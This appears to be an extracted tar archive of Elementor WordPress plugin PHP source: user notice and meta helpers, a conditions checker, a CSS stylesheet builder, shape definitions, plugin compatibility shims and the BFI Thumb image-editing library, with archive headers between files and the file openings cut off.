Retrieve the list of notices for the current user. * * @since 2.0.0 * @access public * @static * * @return array A list of user notices. */ public static function get_user_notices() { $notices = get_user_meta( get_current_user_id(), self::ADMIN_NOTICES_KEY, true ); return is_array( $notices ) ? $notices : []; } /** * Is admin notice viewed. * * Whether the admin notice was viewed by the current user. * * @since 1.0.0 * @access public * @static * * @param int $notice_id The notice ID. * * @return bool Whether the admin notice was viewed by the user. */ public static function is_user_notice_viewed( $notice_id ) { $notices = self::get_user_notices(); if ( empty( $notices[ $notice_id ] ) ) { return false; } // BC: Handles old structure ( `[ 'notice_id' => 'true' ]` ). if ( 'true' === $notices[ $notice_id ] ) { return true; } return $notices[ $notice_id ]['is_viewed'] ?? false; } /** * Checks whether the current user is allowed to upload JSON files. * * Note: The 'json-upload' capability is managed by the Role Manager as a part of its blacklist restrictions. * In this context, we are negating the user's permission check to use it as a whitelist, allowing uploads. * * @return bool Whether the current user can upload JSON files. */ public static function is_current_user_can_upload_json() { return current_user_can( 'manage_options' ) || ! Plugin::instance()->role_manager->user_can( 'json-upload' ); } public static function is_current_user_can_use_custom_html() { return current_user_can( 'manage_options' ) || ! Plugin::instance()->role_manager->user_can( 'custom-html' ); } /** * Set admin notice as viewed. * * Flag the admin notice as viewed by the current user, using an authenticated ajax request. * * Fired by `wp_ajax_elementor_set_admin_notice_viewed` action. * * @since 1.0.0 * @access public * @static */ public static function ajax_set_admin_notice_viewed() { // phpcs:ignore WordPress.Security.NonceVerification.NoNonceVerification $notice_id = Utils::get_super_global_value( $_REQUEST, 'notice_id' ); if ( ! $notice_id ) { wp_die(); } self::set_user_notice( $notice_id ); if ( ! wp_doing_ajax() ) { wp_safe_redirect( admin_url() ); die; } wp_die(); } /** * @param $notice_id * @param $is_viewed * @param $meta * * @return void */ public static function set_user_notice( $notice_id, $is_viewed = true, $meta = null ) { $notices = self::get_user_notices(); if ( ! is_array( $meta ) ) { $meta = $notices[ $notice_id ]['meta'] ?? []; } $notices[ $notice_id ] = [ 'is_viewed' => $is_viewed, 'meta' => $meta, ]; update_user_meta( get_current_user_id(), self::ADMIN_NOTICES_KEY, $notices ); } /** * @since 2.1.0 * @access public * @static */ public static function set_introduction_viewed( array $data ) { $user_introduction_meta = self::get_introduction_meta(); $user_introduction_meta[ $data['introductionKey'] ] = true; update_user_meta( get_current_user_id(), self::INTRODUCTION_KEY, $user_introduction_meta ); } /** * @throws \Exception */ public static function register_as_beta_tester( array $data ) { if ( ! current_user_can( 'install_plugins' ) ) { throw new \Exception( __( 'You do not have permission to install plugins.', 'elementor' ) ); } update_user_meta( get_current_user_id(), self::BETA_TESTER_META_KEY, true ); $response = wp_safe_remote_post( self::BETA_TESTER_API_URL, [ 'timeout' => 25, 'body' => [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'beta_tester_email' => $data['betaTesterEmail'], ], ] ); $response_code = (int) wp_remote_retrieve_response_code( $response ); if ( 200 === $response_code ) { self::set_introduction_viewed( [ 'introductionKey' => Beta_Testers::BETA_TESTER_SIGNUP, ] ); } } /** * @param string $key * * @return array|mixed|string * @since 2.1.0 * @access public * @static */ public static function get_introduction_meta( $key = '' ) { $user_introduction_meta = get_user_meta( get_current_user_id(), self::INTRODUCTION_KEY, true ); if ( ! $user_introduction_meta ) { $user_introduction_meta = []; } if ( $key ) { return empty( $user_introduction_meta[ $key ] ) ? '' : $user_introduction_meta[ $key ]; } return $user_introduction_meta; } /** * Get a user option with default value as fallback. * * @param string $option - Option key. * @param int $user_id - User ID * @param mixed $default - Default fallback value. * * @return mixed */ public static function get_user_option_with_default( $option, $user_id, $default ) { $value = get_user_option( $option, $user_id ); return ( false === $value ) ? $default : $value; } /** * Get dismissed editor notices. * * Retrieve the list of dismissed editor notices for the current user. * * @since 3.19.0 * @access public * @static * * @return array A list of dismissed editor notices. */ public static function get_dismissed_editor_notices() { $notices = get_user_meta( get_current_user_id(), self::DISMISSED_EDITOR_NOTICES_KEY, true ); return is_array( $notices ) ? $notices : []; } /** * Set dismissed editor notices for the current user. * * @since 3.19.0 * @access public * @static * * @param array $data Editor notices. * * @return void */ public static function set_dismissed_editor_notices( array $data ) { $editor_notices = self::get_dismissed_editor_notices(); if ( ! in_array( $data['dismissId'], $editor_notices, true ) ) { $editor_notices[] = $data['dismissId']; update_user_meta( get_current_user_id(), self::DISMISSED_EDITOR_NOTICES_KEY, $editor_notices ); } } } includes/interfaces/group-control.php000064400000000631147206604650014032 0ustar00': return $left_value > $right_value; case '>=': return $left_value >= $right_value; default: return $left_value === $right_value; } } /** * Check conditions. * * Whether the comparison conditions comply. * * @since 1.0.0 * @access public * @static * * @param array $conditions The conditions to check. * @param array $comparison The comparison parameter. * * @return bool Whether the comparison conditions comply. */ public static function check( array $conditions, array $comparison ) { $is_or_condition = isset( $conditions['relation'] ) && 'or' === $conditions['relation']; $condition_succeed = ! $is_or_condition; foreach ( $conditions['terms'] as $term ) { if ( ! empty( $term['terms'] ) ) { $comparison_result = self::check( $term, $comparison ); } else { preg_match( '/(\w+)(?:\[(\w+)])?/', $term['name'], $parsed_name ); $value = $comparison[ $parsed_name[1] ]; if ( ! empty( $parsed_name[2] ) ) { $value = $value[ $parsed_name[2] ]; } $operator = null; if ( ! empty( $term['operator'] ) ) { $operator = $term['operator']; } $comparison_result = self::compare( $value, $term['value'], $operator ); } if ( $is_or_condition ) { if ( $comparison_result ) { return true; } } elseif ( ! $comparison_result ) { return false; } } return $condition_succeed; } } includes/stylesheet.php000064400000021643147206604650011274 0ustar00 $properties ) { $selector_content = self::parse_properties( $properties ); if ( $selector_content ) { $parsed_rules .= $selector . '{' . $selector_content . '}'; } } return $parsed_rules; } /** * Parse CSS properties. * * Goes over the selector properties and generates the CSS of the selector. * * @since 1.0.0 * @access public * @static * * @param array $properties CSS properties. * * @return string Parsed properties. */ public static function parse_properties( array $properties ) { $parsed_properties = ''; foreach ( $properties as $property_key => $property_value ) { if ( '' !== $property_value ) { $parsed_properties .= $property_key . ':' . $property_value . ';'; } } return $parsed_properties; } /** * Add device. * * Add a new device to the devices list. * * @since 1.0.0 * @access public * * @param string $device_name Device name. * @param string $device_max_point Device maximum point. * * @return Stylesheet The current stylesheet class instance. */ public function add_device( $device_name, $device_max_point ) { $this->devices[ $device_name ] = $device_max_point; asort( $this->devices ); return $this; } /** * Add rules. * * Add a new CSS rule to the rules list. * * @since 1.0.0 * @access public * * @param string $selector CSS selector. * @param array|string $style_rules Optional. Style rules. Default is `null`. * @param array $query Optional. Media query. Default is `null`. * * @return Stylesheet The current stylesheet class instance. */ public function add_rules( $selector, $style_rules = null, array $query = null ) { $query_hash = 'all'; if ( $query ) { $query_hash = $this->query_to_hash( $query ); } if ( ! isset( $this->rules[ $query_hash ] ) ) { $this->add_query_hash( $query_hash ); } if ( null === $style_rules ) { preg_match_all( '/([^\s].+?(?=\{))\{((?s:.)+?(?=}))}/', $selector, $parsed_rules ); foreach ( $parsed_rules[1] as $index => $selector ) { $this->add_rules( $selector, $parsed_rules[2][ $index ], $query ); } return $this; } if ( ! isset( $this->rules[ $query_hash ][ $selector ] ) ) { $this->rules[ $query_hash ][ $selector ] = []; } if ( is_string( $style_rules ) ) { $style_rules = array_filter( explode( ';', trim( $style_rules ) ) ); $ordered_rules = []; foreach ( $style_rules as $rule ) { $property = explode( ':', $rule, 2 ); if ( count( $property ) < 2 ) { return $this; } $ordered_rules[ trim( $property[0] ) ] = trim( $property[1], ' ;' ); } $style_rules = $ordered_rules; } $this->rules[ $query_hash ][ $selector ] = array_merge( $this->rules[ $query_hash ][ $selector ], $style_rules ); return $this; } /** * Add raw CSS. * * Add a raw CSS rule. * * @since 1.0.8 * @access public * * @param string $css The raw CSS. * @param string $device Optional. The device. Default is empty. * * @return Stylesheet The current stylesheet class instance. */ public function add_raw_css( $css, $device = '' ) { if ( ! isset( $this->raw[ $device ] ) ) { $this->raw[ $device ] = []; } $this->raw[ $device ][] = trim( $css ); return $this; } /** * Get CSS rules. * * Retrieve the CSS rules. * * @since 1.0.5 * @access public * * @param string $device Optional. The device. Default is empty. * @param string $selector Optional. CSS selector. Default is empty. * @param string $property Optional. CSS property. Default is empty. * * @return null|array CSS rules, or `null` if not rules found. */ public function get_rules( $device = null, $selector = null, $property = null ) { if ( ! $device ) { return $this->rules; } if ( $property ) { return isset( $this->rules[ $device ][ $selector ][ $property ] ) ? $this->rules[ $device ][ $selector ][ $property ] : null; } if ( $selector ) { return isset( $this->rules[ $device ][ $selector ] ) ? $this->rules[ $device ][ $selector ] : null; } return isset( $this->rules[ $device ] ) ? $this->rules[ $device ] : null; } /** * To string. * * This magic method responsible for parsing the rules into one CSS string. * * @since 1.0.0 * @access public * * @return string CSS style. */ public function __toString() { $style_text = ''; foreach ( $this->rules as $query_hash => $rule ) { $device_text = self::parse_rules( $rule ); if ( 'all' !== $query_hash ) { $device_text = $this->get_query_hash_style_format( $query_hash ) . '{' . $device_text . '}'; } $style_text .= $device_text; } foreach ( $this->raw as $device_name => $raw ) { $raw = implode( "\n", $raw ); if ( $raw && isset( $this->devices[ $device_name ] ) ) { $raw = '@media(max-width: ' . $this->devices[ $device_name ] . 'px){' . $raw . '}'; } $style_text .= $raw; } return $style_text; } /** * Query to hash. * * Turns the media query into a hashed string that represents the query * endpoint in the rules list. * * @since 1.2.0 * @access private * * @param array $query CSS media query. * * @return string Hashed string of the query. */ private function query_to_hash( array $query ) { $hash = []; foreach ( $query as $endpoint => $value ) { $hash[] = $endpoint . '_' . $value; } return implode( '-', $hash ); } /** * Hash to query. * * Turns the hashed string to an array that contains the data of the query * endpoint. * * @since 1.2.0 * @access private * * @param string $hash Hashed string of the query. * * @return array Media query data. */ private function hash_to_query( $hash ) { $query = []; $hash = array_filter( explode( '-', $hash ) ); foreach ( $hash as $single_query ) { preg_match( '/(min|max)_(.*)/', $single_query, $query_parts ); $end_point = $query_parts[1]; $device_name = $query_parts[2]; $query[ $end_point ] = 'max' === $end_point ? $this->devices[ $device_name ] : Plugin::$instance->breakpoints->get_device_min_breakpoint( $device_name ); } return $query; } /** * Add query hash. * * Register new endpoint query and sort the rules the way they should be * displayed in the final stylesheet based on the device and the viewport * width. * * @since 1.2.0 * @access private * * @param string $query_hash Hashed string of the query. */ private function add_query_hash( $query_hash ) { $this->rules[ $query_hash ] = []; uksort( $this->rules, function( $a, $b ) { if ( 'all' === $a ) { return -1; } if ( 'all' === $b ) { return 1; } $a_query = $this->hash_to_query( $a ); $b_query = $this->hash_to_query( $b ); if ( isset( $a_query['min'] ) xor isset( $b_query['min'] ) ) { return 1; } if ( isset( $a_query['min'] ) ) { $range = $a_query['min'] - $b_query['min']; if ( $range ) { return $range; } $a_has_max = isset( $a_query['max'] ); if ( $a_has_max xor isset( $b_query['max'] ) ) { return $a_has_max ? 1 : -1; } if ( ! $a_has_max ) { return 0; } } return $b_query['max'] - $a_query['max']; } ); } /** * Get query hash style format. * * Retrieve formatted media query rule with the endpoint width settings. * * The method returns the CSS `@media` rule and supported viewport width in * pixels. It can also handle multiple width endpoints. * * @since 1.2.0 * @access private * * @param string $query_hash The hash of the query. * * @return string CSS media query. */ private function get_query_hash_style_format( $query_hash ) { $query = $this->hash_to_query( $query_hash ); $style_format = []; foreach ( $query as $end_point => $value ) { $style_format[] = '(' . $end_point . '-width:' . $value . 'px)'; } return '@media' . implode( ' and ', $style_format ); } } includes/shapes.php000064400000014642147206604650010367 0ustar00 [ 'title' => esc_html_x( 'Mountains', 'Shapes', 'elementor' ), 'has_flip' => true, ], 'drops' => [ 'title' => esc_html_x( 'Drops', 'Shapes', 'elementor' ), 'has_negative' => true, 'has_flip' => true, 'height_only' => true, ], 'clouds' => [ 'title' => esc_html_x( 'Clouds', 'Shapes', 'elementor' ), 'has_negative' => true, 'has_flip' => true, 'height_only' => true, ], 'zigzag' => [ 'title' => esc_html_x( 'Zigzag', 'Shapes', 'elementor' ), ], 'pyramids' => [ 'title' => esc_html_x( 'Pyramids', 'Shapes', 'elementor' ), 'has_negative' => true, 'has_flip' => true, ], 'triangle' => [ 'title' => esc_html_x( 'Triangle', 'Shapes', 'elementor' ), 'has_negative' => true, ], 'triangle-asymmetrical' => [ 'title' => esc_html_x( 'Triangle Asymmetrical', 'Shapes', 'elementor' ), 'has_negative' => true, 'has_flip' => true, ], 'tilt' => [ 'title' => esc_html_x( 'Tilt', 'Shapes', 'elementor' ), 'has_flip' => true, 'height_only' => true, ], 'opacity-tilt' => [ 'title' => esc_html_x( 'Tilt Opacity', 'Shapes', 'elementor' ), 'has_flip' => true, ], 'opacity-fan' => [ 'title' => esc_html_x( 'Fan Opacity', 'Shapes', 'elementor' ), ], 'curve' => [ 'title' => esc_html_x( 'Curve', 'Shapes', 'elementor' ), 'has_negative' => true, ], 'curve-asymmetrical' => [ 'title' => esc_html_x( 'Curve Asymmetrical', 'Shapes', 'elementor' ), 'has_negative' => true, 'has_flip' => true, ], 'waves' => [ 'title' => esc_html_x( 'Waves', 'Shapes', 'elementor' ), 'has_negative' => true, 'has_flip' => true, ], 'wave-brush' => [ 'title' => esc_html_x( 'Waves Brush', 'Shapes', 'elementor' ), 'has_flip' => true, ], 'waves-pattern' => [ 'title' => esc_html_x( 'Waves Pattern', 'Shapes', 'elementor' ), 'has_flip' => true, ], 'arrow' => [ 'title' => esc_html_x( 'Arrow', 'Shapes', 'elementor' ), 'has_negative' => true, ], 'split' => [ 'title' => esc_html_x( 'Split', 'Shapes', 'elementor' ), 'has_negative' => true, ], 'book' => [ 'title' => esc_html_x( 'Book', 'Shapes', 'elementor' ), 'has_negative' => true, ], ]; self::$shapes = array_merge( $native_shapes, self::get_additional_shapes() ); } /** * Get Additional Shapes * * Used to add custom shapes to elementor. * * @since 2.5.0 * * @return array */ private static function get_additional_shapes() { static $additional_shapes = null; if ( null !== $additional_shapes ) { return $additional_shapes; } $additional_shapes = []; /** * Additional shapes. * * Filters the shapes used by Elementor to add additional shapes. * * @since 2.0.1 * * @param array $additional_shapes Additional Elementor shapes. */ $additional_shapes = apply_filters( 'elementor/shapes/additional_shapes', $additional_shapes ); return $additional_shapes; } /** * Get Additional Shapes For Config * * Used to set additional shape paths for editor * * @since 2.5.0 * * @return array|bool */ public static function get_additional_shapes_for_config() { $additional_shapes = self::get_additional_shapes(); if ( empty( $additional_shapes ) ) { return false; } $additional_shapes_config = []; foreach ( $additional_shapes as $shape_name => $shape_settings ) { if ( ! isset( $shape_settings['url'] ) ) { continue; } $additional_shapes_config[ $shape_name ] = $shape_settings['url']; } if ( empty( $additional_shapes_config ) ) { return false; } return $additional_shapes_config; } } includes/compatibility.php000064400000025745147206604650011763 0ustar00deleteCache(); } // WP Super Cache if ( function_exists( 'wp_cache_clean_cache' ) ) { global $file_prefix; wp_cache_clean_cache( $file_prefix, true ); } } /** * Add new button to gutenberg. * * Insert new "Elementor" button to the gutenberg editor to create new post * using Elementor page builder. * * @since 1.9.0 * @access public * @static */ public static function add_new_button_to_gutenberg() { global $typenow; if ( ! User::is_current_user_can_edit_post_type( $typenow ) ) { return; } // Introduced in WP 5.0 if ( function_exists( 'use_block_editor_for_post' ) && ! use_block_editor_for_post( $typenow ) ) { return; } // Deprecated/removed in Gutenberg plugin v5.3.0 if ( function_exists( 'gutenberg_can_edit_post_type' ) && ! gutenberg_can_edit_post_type( $typenow ) ) { return; } ?> editor->is_edit_mode() ) { $retval = true; } return $retval; } ); // Add the description (content) tab for a new product, so it can be edited with Elementor. add_filter( 'woocommerce_product_tabs', function( $tabs ) { if ( ! isset( $tabs['description'] ) && Plugin::$instance->preview->is_preview_mode() ) { $post = get_post(); if ( empty( $post->post_content ) ) { $tabs['description'] = [ 'title' => esc_html__( 'Description', 'elementor' ), 'priority' => 10, 'callback' => 'woocommerce_product_description_tab', ]; } } return $tabs; } ); // Fix WC session not defined in editor. if ( class_exists( 'woocommerce' ) ) { add_action( 'elementor/editor/before_enqueue_scripts', function() { remove_action( 'woocommerce_shortcode_before_product_cat_loop', 'wc_print_notices' ); remove_action( 'woocommerce_before_shop_loop', 'wc_print_notices' ); remove_action( 'woocommerce_before_single_product', 'wc_print_notices' ); } ); add_filter( 'elementor/maintenance_mode/is_login_page', function( $value ) { // Support Woocommerce Account Page. if ( is_account_page() && ! is_user_logged_in() ) { $value = true; } return $value; } ); } // Fix Jetpack Contact Form in Editor Mode. if ( class_exists( 'Grunion_Editor_View' ) ) { add_action( 'elementor/editor/before_enqueue_scripts', function() { remove_action( 'media_buttons', 'grunion_media_button', 999 ); remove_action( 'admin_enqueue_scripts', 'grunion_enable_spam_recheck' ); remove_action( 'admin_notices', [ 'Grunion_Editor_View', 'handle_editor_view_js' ] ); remove_action( 'admin_head', [ 'Grunion_Editor_View', 'admin_head' ] ); } ); } // Fix Popup Maker in Editor Mode. if ( class_exists( 'PUM_Admin_Shortcode_UI' ) ) { add_action( 'elementor/editor/before_enqueue_scripts', function() { $pum_admin_instance = \PUM_Admin_Shortcode_UI::instance(); remove_action( 'print_media_templates', [ $pum_admin_instance, 'print_media_templates' ] ); remove_action( 'admin_print_footer_scripts', [ $pum_admin_instance, 'admin_print_footer_scripts' ], 100 ); remove_action( 'wp_ajax_pum_do_shortcode', [ $pum_admin_instance, 'wp_ajax_pum_do_shortcode' ] ); remove_action( 'admin_enqueue_scripts', [ $pum_admin_instance, 'admin_enqueue_scripts' ] ); remove_filter( 'pum_admin_var', [ $pum_admin_instance, 'pum_admin_var' ] ); } ); } // Fix Preview URL for https://github.com/wpmudev/domain-mapping plugin if ( class_exists( 'domain_map' ) ) { add_filter( 'elementor/document/urls/preview', function( $preview_url ) { if ( wp_parse_url( $preview_url, PHP_URL_HOST ) !== Utils::get_super_global_value( $_SERVER, 'HTTP_HOST' ) ) { $preview_url = \domain_map::utils()->unswap_url( $preview_url ); $preview_url = add_query_arg( [ 'dm' => \Domainmap_Module_Mapping::BYPASS, ], $preview_url ); } return $preview_url; } ); } // Gutenberg if ( function_exists( 'gutenberg_init' ) ) { add_action( 'admin_print_scripts-edit.php', [ __CLASS__, 'add_new_button_to_gutenberg' ], 11 ); } } public static function filter_library_post_type( $post_types ) { unset( $post_types[ Source_Local::CPT ] ); return $post_types; } /** * Polylang compatibility. * * Fix Polylang compatibility with Elementor. * * @since 2.0.0 * @access private * @static */ private static function polylang_compatibility() { // Copy elementor data while polylang creates a translation copy add_filter( 'pll_copy_post_metas', [ __CLASS__, 'save_polylang_meta' ], 10, 4 ); } /** * Save polylang meta. * * Copy elementor data while polylang creates a translation copy. * * Fired by `pll_copy_post_metas` filter. * * @since 1.6.0 * @access public * @static * * @param array $keys List of custom fields names. * @param bool $sync True if it is synchronization, false if it is a copy. * @param int $from ID of the post from which we copy information. * @param int $to ID of the post to which we paste information. * * @return array List of custom fields names. */ public static function save_polylang_meta( $keys, $sync, $from, $to ) { // Copy only for a new post. if ( ! $sync ) { Plugin::$instance->db->copy_elementor_meta( $from, $to ); } return $keys; } private static function yoast_duplicate_post() { add_filter( 'duplicate_post_excludelist_filter', function( $meta_excludelist ) { $exclude_list = [ Document::TYPE_META_KEY, '_elementor_page_assets', '_elementor_controls_usage', '_elementor_css', '_elementor_screenshot', ]; return array_merge( $meta_excludelist, $exclude_list ); } ); add_action( 'duplicate_post_post_copy', function( $new_post_id, $post ) { $original_template_type = get_post_meta( $post->ID, Document::TYPE_META_KEY, true ); if ( ! empty( $original_template_type ) ) { update_post_meta( $new_post_id, Document::TYPE_META_KEY, $original_template_type ); } }, 10, 2 ); } /** * Process post meta before WP importer. * * Normalize Elementor post meta on import, We need the `wp_slash` in order * to avoid the unslashing during the `add_post_meta`. * * Fired by `wp_import_post_meta` filter. * * @since 1.0.0 * @access public * @static * * @param array $post_meta Post meta. * * @return array Updated post meta. */ public static function on_wp_import_post_meta( $post_meta ) { $is_wp_importer_before_0_7 = self::is_wp_importer_before_0_7(); if ( $is_wp_importer_before_0_7 ) { foreach ( $post_meta as &$meta ) { if ( '_elementor_data' === $meta['key'] ) { $meta['value'] = wp_slash( $meta['value'] ); break; } } } return $post_meta; } /** * Is WP Importer Before 0.7 * * Checks if WP Importer is installed, and whether its version is older than 0.7. * * @return bool */ public static function is_wp_importer_before_0_7() { $wp_importer = get_plugins( '/wordpress-importer' ); if ( ! empty( $wp_importer ) ) { $wp_importer_version = $wp_importer['wordpress-importer.php']['Version']; if ( version_compare( $wp_importer_version, '0.7', '<' ) ) { return true; } } return false; } /** * Process post meta before WXR importer. * * Normalize Elementor post meta on import with the new WP_importer, We need * the `wp_slash` in order to avoid the unslashing during the `add_post_meta`. * * Fired by `wxr_importer.pre_process.post_meta` filter. * * @since 1.0.0 * @access public * @static * * @param array $post_meta Post meta. * * @return array Updated post meta. */ public static function on_wxr_importer_pre_process_post_meta( $post_meta ) { $is_wp_importer_before_0_7 = self::is_wp_importer_before_0_7(); if ( $is_wp_importer_before_0_7 ) { if ( '_elementor_data' === $post_meta['key'] ) { $post_meta['value'] = wp_slash( $post_meta['value'] ); } } return $post_meta; } } includes/libraries/bfi-thumb/bfi-thumb.php000064400000057021147206604650014610 0ustar00. */ /** Uses WP's Image Editor Class to resize and filter images * * @param $url string the local image URL to manipulate * @param $params array the options to perform on the image. Keys and values supported: * 'width' int pixels * 'height' int pixels * 'opacity' int 0-100 * 'color' string hex-color #000000-#ffffff * 'grayscale' bool * 'negate' bool * 'crop' bool * 'crop_only' bool * 'crop_x' bool string * 'crop_y' bool string * 'crop_width' bool string * 'crop_height' bool string * 'quality' int 1-100 * @param $single boolean, if false then an array of data will be returned * * @return string|array containing the url of the resized modified image */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly. if ( ! defined( 'BFITHUMB_UPLOAD_DIR' ) ) { define( 'BFITHUMB_UPLOAD_DIR', 'elementor/thumbs' ); } if ( ! function_exists( 'bfi_thumb' ) ) { function bfi_thumb( $url, $params = array(), $single = true ) { $class = BFI_Class_Factory::getNewestVersion( 'BFI_Thumb' ); return call_user_func( array( $class, 'thumb' ), $url, $params, $single ); } } /** * Class factory, this is to make sure that when multiple bfi_thumb scripts * are used (e.g. a plugin and a theme both use it), we always use the * latest version. */ if ( ! class_exists( 'BFI_Class_Factory' ) ) { class BFI_Class_Factory { public static $versions = array(); public static $latestClass = array(); public static function addClassVersion( $baseClassName, $className, $version ) { if ( empty( self::$versions[ $baseClassName ] ) ) { self::$versions[ $baseClassName ] = array(); } self::$versions[ $baseClassName ][] = array( 'class' => $className, 'version' => $version, ); } public static function getNewestVersion( $baseClassName ) { if ( empty( self::$latestClass[ $baseClassName ] ) ) { usort( self::$versions[ $baseClassName ], array( __CLASS__, "versionCompare" ) ); self::$latestClass[ $baseClassName ] = self::$versions[ $baseClassName ][0]['class']; unset( self::$versions[ $baseClassName ] ); } return self::$latestClass[ $baseClassName ]; } public static function versionCompare( $a, $b ) { return version_compare( $a['version'], $b['version'] ) == 1 ? -1 : 1; } } } /* * Change the default image editors */ add_filter( 'wp_image_editors', 'bfi_wp_image_editor' ); // Instead of using the default image editors, use our extended ones if ( ! function_exists( 'bfi_wp_image_editor' ) ) { function bfi_wp_image_editor( $editorArray ) { // Make sure that we use the latest versions return array( BFI_Class_Factory::getNewestVersion( 'BFI_Image_Editor_GD' ), BFI_Class_Factory::getNewestVersion( 'BFI_Image_Editor_Imagick' ), ); } } /* * Include the WP Image classes */ require_once ABSPATH . WPINC . '/class-wp-image-editor.php'; require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php'; require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php'; /* * Enhanced Imagemagick Image Editor */ if ( ! class_exists( 'BFI_Image_Editor_Imagick_1_3' ) ) { BFI_Class_Factory::addClassVersion( 'BFI_Image_Editor_Imagick', 'BFI_Image_Editor_Imagick_1_3', '1.3' ); class BFI_Image_Editor_Imagick_1_3 extends WP_Image_Editor_Imagick { /** Changes the opacity of the image * * @supports 3.5.1 * @access public * * @param float $opacity (0.0-1.0) * * @return boolean|WP_Error */ public function opacity( $opacity ) { $opacity /= 100; try { // From: http://stackoverflow.com/questions/3538851/php-imagick-setimageopacity-destroys-transparency-and-does-nothing // preserves transparency //$this->image->setImageOpacity($opacity); return $this->image->evaluateImage( Imagick::EVALUATE_MULTIPLY, $opacity, Imagick::CHANNEL_ALPHA ); } catch ( Exception $e ) { return new WP_Error( 'image_opacity_error', $e->getMessage() ); } } /** Tints the image a different color * * @supports 3.5.1 * @access public * * @param string hex color e.g. #ff00ff * * @return boolean|WP_Error */ public function colorize( $hexColor ) { try { return $this->image->colorizeImage( $hexColor, 1.0 ); } catch ( Exception $e ) { return new WP_Error( 'image_colorize_error', $e->getMessage() ); } } /** Makes the image grayscale * * @supports 3.5.1 * @access public * * @return boolean|WP_Error */ public function grayscale() { try { return $this->image->modulateImage( 100, 0, 100 ); } catch ( Exception $e ) { return new WP_Error( 'image_grayscale_error', $e->getMessage() ); } } /** Negates the image * * @supports 3.5.1 * @access public * * @return boolean|WP_Error */ public function negate() { try { return $this->image->negateImage( false ); } catch ( Exception $e ) { return new WP_Error( 'image_negate_error', $e->getMessage() ); } } } } /* * Enhanced GD Image Editor */ if ( ! class_exists( 'BFI_Image_Editor_GD_1_3' ) ) { BFI_Class_Factory::addClassVersion( 'BFI_Image_Editor_GD', 'BFI_Image_Editor_GD_1_3', '1.3' ); class BFI_Image_Editor_GD_1_3 extends WP_Image_Editor_GD { /** Rotates current image counter-clockwise by $angle. * Ported from image-edit.php * Added presevation of alpha channels * * @since 3.5.0 * @access public * * @param float $angle * * @return boolean|WP_Error */ public function rotate( $angle ) { if ( function_exists( 'imagerotate' ) ) { $rotated = imagerotate( $this->image, $angle, 0 ); // Add alpha blending imagealphablending( $rotated, true ); imagesavealpha( $rotated, true ); if ( is_resource( $rotated ) ) { imagedestroy( $this->image ); $this->image = $rotated; $this->update_size(); return true; } } return new WP_Error( 'image_rotate_error', 'Image rotate failed.', $this->file ); } /** Changes the opacity of the image * * @supports 3.5.1 * @access public * * @param float $opacity (0.0-1.0) * * @return boolean|WP_Error */ public function opacity( $opacity ) { $opacity /= 100; $filtered = $this->_opacity( $this->image, $opacity ); if ( is_resource( $filtered ) ) { // imagedestroy($this->image); $this->image = $filtered; return true; } return new WP_Error( 'image_opacity_error', 'Image opacity change failed.', $this->file ); } // from: http://php.net/manual/en/function.imagefilter.php // params: image resource id, opacity (eg. 0.0-1.0) protected function _opacity( $image, $opacity ) { if ( ! function_exists( 'imagealphablending' ) || ! function_exists( 'imagecolorat' ) || ! function_exists( 'imagecolorallocatealpha' ) || ! function_exists( 'imagesetpixel' ) ) { return false; } // get image width and height $w = imagesx( $image ); $h = imagesy( $image ); // turn alpha blending off imagealphablending( $image, false ); // find the most opaque pixel in the image (the one with the smallest alpha value) $minalpha = 127; for ( $x = 0; $x < $w; $x++ ) { for ( $y = 0; $y < $h; $y++ ) { $alpha = ( imagecolorat( $image, $x, $y ) >> 24 ) & 0xFF; if ( $alpha < $minalpha ) { $minalpha = $alpha; } } } // loop through image pixels and modify alpha for each for ( $x = 0; $x < $w; $x++ ) { for ( $y = 0; $y < $h; $y++ ) { // get current alpha value (represents the TANSPARENCY!) $colorxy = imagecolorat( $image, $x, $y ); $alpha = ( $colorxy >> 24 ) & 0xFF; // calculate new alpha if ( $minalpha !== 127 ) { $alpha = 127 + 127 * $opacity * ( $alpha - 127 ) / ( 127 - $minalpha ); } else { $alpha += 127 * $opacity; } // get the color index with new alpha $alphacolorxy = imagecolorallocatealpha( $image, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha ); // set pixel with the new color + opacity if ( ! imagesetpixel( $image, $x, $y, $alphacolorxy ) ) { return false; } } } imagesavealpha( $image, true ); return $image; } /** Tints the image a different color * * @supports 3.5.1 * @access public * * @param string hex color e.g. #ff00ff * * @return boolean|WP_Error */ public function colorize( $hexColor ) { if ( function_exists( 'imagefilter' ) && function_exists( 'imagesavealpha' ) && function_exists( 'imagealphablending' ) ) { $hexColor = preg_replace( '#^\##', '', $hexColor ); $r = hexdec( substr( $hexColor, 0, 2 ) ); $g = hexdec( substr( $hexColor, 2, 2 ) ); $b = hexdec( substr( $hexColor, 2, 2 ) ); imagealphablending( $this->image, false ); if ( imagefilter( $this->image, IMG_FILTER_COLORIZE, $r, $g, $b, 0 ) ) { imagesavealpha( $this->image, true ); return true; } } return new WP_Error( 'image_colorize_error', 'Image color change failed.', $this->file ); } /** Makes the image grayscale * * @supports 3.5.1 * @access public * * @return boolean|WP_Error */ public function grayscale() { if ( function_exists( 'imagefilter' ) ) { if ( imagefilter( $this->image, IMG_FILTER_GRAYSCALE ) ) { return true; } } return new WP_Error( 'image_grayscale_error', 'Image grayscale failed.', $this->file ); } /** Negates the image * * @supports 3.5.1 * @access public * * @return boolean|WP_Error */ public function negate() { if ( function_exists( 'imagefilter' ) ) { if ( imagefilter( $this->image, IMG_FILTER_NEGATE ) ) { return true; } } return new WP_Error( 'image_negate_error', 'Image negate failed.', $this->file ); } } } /* * Main Class */ if ( ! class_exists( 'BFI_Thumb_1_3' ) ) { BFI_Class_Factory::addClassVersion( 'BFI_Thumb', 'BFI_Thumb_1_3', '1.3' ); class BFI_Thumb_1_3 { /** Uses WP's Image Editor Class to resize and filter images * Inspired by: https://github.com/sy4mil/Aqua-Resizer/blob/master/aq_resizer.php * * @param $url string the local image URL to manipulate * @param $params array the options to perform on the image. Keys and values supported: * 'width' int pixels * 'height' int pixels * 'opacity' int 0-100 * 'color' string hex-color #000000-#ffffff * 'grayscale' bool * 'crop' bool * 'negate' bool * 'crop_only' bool * 'crop_x' bool string * 'crop_y' bool string * 'crop_width' bool string * 'crop_height' bool string * 'quality' int 1-100 * @param 